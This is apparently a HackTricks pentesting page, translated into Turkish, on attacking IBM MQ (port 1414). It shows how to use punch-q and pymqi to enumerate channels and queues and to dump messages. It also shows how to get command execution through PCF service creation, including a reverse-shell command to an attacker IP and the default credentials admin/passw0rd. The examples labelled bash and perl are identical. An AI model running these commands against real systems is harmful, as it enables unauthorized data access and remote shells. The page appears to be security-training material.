hacktricks/network-services-pentesting/1414-pentesting-ibmmq.md

19 KiB
Raw Permalink Blame History

1414 - Pentesting IBM MQ

{% hint style="success" %} AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}

Temel bilgiler

IBM MQ, mesaj kuyruklarını yönetmek için bir IBM teknolojisidir. Diğer mesaj aracısı teknolojileri gibi, üreticiler ve tüketiciler arasında bilgi almak, depolamak, işlemek ve sınıflandırmak için ayrılmıştır.

Varsayılan olarak, IBM MQ TCP port 1414'ü açar. Bazen, HTTP REST API 9443 portunda açılabilir. Metrikler (Prometheus) ayrıca 9157 TCP portundan erişilebilir.

IBM MQ TCP port 1414, mesajları, kuyrukları, kanalları manipüle etmek için kullanılabilir, ... ama aynı zamanda örneği kontrol etmek için de kullanılabilir.

IBM, https://www.ibm.com/docs/en/ibm-mq adresinde geniş bir teknik dokümantasyon sunmaktadır.

Araçlar

Kolay sömürü için önerilen bir araç punch-q, Docker kullanımı ile. Araç, pymqi Python kütüphanesini aktif olarak kullanmaktadır.

Daha manuel bir yaklaşım için, pymqi Python kütüphanesini kullanın. IBM MQ bağımlılıkları gereklidir.

pymqi Kurulumu

IBM MQ bağımlılıkları kurulmalı ve yüklenmelidir:

  1. https://login.ibm.com/ adresinde bir hesap (IBMid) oluşturun.
  2. https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc adresinden IBM MQ kütüphanelerini indirin. Linux x86_64 için 9.0.0.4-IBM-MQC-LinuxX64.tar.gz'dir.
  3. Sıkıştırmayıın (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz).
  4. Lisans şartlarını kabul etmek için sudo ./mqlicense.sh komutunu çalıştırın.

Kali Linux kullanıyorsanız, mqlicense.sh dosyasını değiştirin: aşağıdaki satırları (105-110. satırlar arasında) kaldırın/yorumlayın:

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
 then
   echo "HATA: Bu paket bu sistemle uyumsuz"
   echo "       Bu paket ${BUILD_PLATFORM} için oluşturuldu"
   exit 1
fi
  1. Bu paketleri kurun:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. Ardından, geçici olarak .so dosyalarını LD'ye ekleyin: export LD_LIBRARY_PATH=/opt/mqm/lib64, diğer araçları bu bağımlılıkları kullanarak çalıştırmadan önce.

Sonra, projeyi pymqi klonlayabilirsiniz: ilginç kod parçacıkları, sabitler vb. içerir... Ya da kütüphaneyi doğrudan şu komutla kurabilirsiniz: pip install pymqi.

punch-q Kullanımı

Docker ile

Basitçe şunu kullanın: sudo docker run --rm -ti leonjza/punch-q.

Docker olmadan

Projeyi punch-q klonlayın ve ardından kurulum için readme'yi takip edin (pip install -r requirements.txt && python3 setup.py install).

Sonrasında, punch-q komutuyla kullanılabilir.

Sayım

Queue manager adı, kullanıcılar, kanallar ve kuyruklar'ı punch-q veya pymqi ile saymayı deneyebilirsiniz.

Queue Manager

Bazen, Queue Manager adını elde etmeye karşı bir koruma yoktur:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

Kanallar

punch-q mevcut kanalları bulmak için iç (değiştirilebilir) bir kelime listesi kullanıyor. Kullanım örneği:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

Bazı IBM MQ örneklerinin kimlik doğrulaması yapılmamış MQ isteklerini kabul ettiği durumlar vardır, bu nedenle --username / --password gerekli değildir. Elbette, erişim hakları da değişiklik gösterebilir.

Bir kanal adını (burada: DEV.ADMIN.SVRCONN) aldığımız anda, diğer tüm kanalları listeleyebiliriz.

Listeleme, temel olarak pymqi'den code/examples/dis_channels.py bu kod parçası ile yapılabilir:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

... Ama punch-q bu kısmı da (daha fazla bilgi ile!) içerir. Şu şekilde başlatılabilir:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

Kuyruklar

pymqi ile bir kod parçası var (dis_queues.py) ama punch-q kuyruklar hakkında daha fazla bilgi parçası almayı sağlar:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Exploit

Dump messages

Queue(lar)/kanal(lar) hedef alarak onlardan mesajları dinleyebilir / dökebilirsiniz (yıkıcı olmayan işlem). Örnekler:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

Tespit edilen tüm kuyruklar üzerinde iterasyona girmekten çekinmeyin.

Kod yürütme

Devam etmeden önce bazı detaylar: IBM MQ, birden fazla yol ile kontrol edilebilir: MQSC, PCF, Kontrol Komutu. Genel listeler IBM MQ belgelerinde bulunabilir. PCF (Programlanabilir Komut Formatları) ile uzaktan örnekle etkileşimde bulunmaya odaklanıyoruz. punch-q ve ayrıca pymqi PCF etkileşimlerine dayanmaktadır.

PCF komutlarının bir listesini bulabilirsiniz:

İlginç bir komut MQCMD_CREATE_SERVICE ve belgeleri burada mevcuttur. Bir StartCommand argümanı alır ve bu, örneğin, örnekteki gibi yerel bir programa işaret eder: /bin/sh.

Belgelerde komutla ilgili bir uyarı da bulunmaktadır: "Dikkat: Bu komut, bir kullanıcının mqm yetkisi ile keyfi bir komut çalıştırmasına izin verir. Bu komutu kullanma hakkı verilirse, kötü niyetli veya dikkatsiz bir kullanıcı, sistemlerinize veya verilerinize zarar verecek bir hizmet tanımlayabilir; örneğin, gerekli dosyaları silerek."

Not: her zaman IBM MQ belgelerine (Yönetim Referansı) göre, hizmet oluşturma için eşdeğer MQSC komutunu çalıştırmak üzere /admin/action/qmgr/{qmgrName}/mqsc adresinde bir HTTP uç noktası da bulunmaktadır. Bu konu burada henüz ele alınmamıştır.

PCF ile uzaktan program yürütme için hizmet oluşturma / silme punch-q ile yapılabilir:

Örnek 1

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

IBM MQ günlüklerinde, komutun başarıyla yürütüldüğünü okuyabilirsiniz:

2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

Ayrıca makinedeki mevcut programları sayabilirsiniz (burada /bin/doesnotexist ... mevcut değildir):

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

Programın başlatılmasının asenkron olduğunu unutmayın. Bu nedenle, istismarı kullanmak için ikinci bir öğeye ihtiyacınız var (ters kabuk için dinleyici, farklı hizmette dosya oluşturma, ağ üzerinden veri sızdırma ...)

Örnek 2

Kolay ters kabuk için, punch-q ayrıca iki ters kabuk yükü önerir:

  • Biri bash ile
  • Biri perl ile

Elbette execute komutunu kullanarak özel bir tane oluşturabilirsiniz.

Bash için:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

For perl:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Özel PCF

IBM MQ belgelerine göz atabilir ve punch-q'da uygulanmamış belirli PCF komutlarını test etmek için doğrudan pymqi python kütüphanesini kullanabilirsiniz.

Örnek:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

Eğer sabit isimlerini bulamıyorsanız, IBM MQ belgelerine başvurabilirsiniz.

MQCMD_REFRESH_CLUSTER (Ondalık = 73) için örnek. MQCA_CLUSTER_NAME (Ondalık = 2029) parametresine ihtiyaç duyar, bu * olabilir (Dok: ):

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
    args = {2029: "*"}
    response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
    print("Hata")
else:
    print(response)

qmgr.disconnect()

Test ortamı

IBM MQ davranışını ve istismarlarını test etmek istiyorsanız, Docker tabanlı bir yerel ortam kurabilirsiniz:

  1. ibm.com ve cloud.ibm.com üzerinde bir hesabınızın olması.
  2. Aşağıdaki ile konteynerleştirilmiş bir IBM MQ oluşturun:
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2

Varsayılan olarak, kimlik doğrulama etkinleştirilmiştir, kullanıcı adı admin ve şifre passw0rd (Ortam değişkeni MQ_ADMIN_PASSWORD). Burada, kuyruk yöneticisi adı MYQUEUEMGR olarak ayarlanmıştır (değişken MQ_QMGR_NAME).

IBM MQ'nun çalışır durumda olması ve portlarının açık olması gerekir:

 sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:9.3.2.0-r2   "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

IBM MQ docker görüntülerinin eski versiyonu şurada: https://hub.docker.com/r/ibmcom/mq/.

References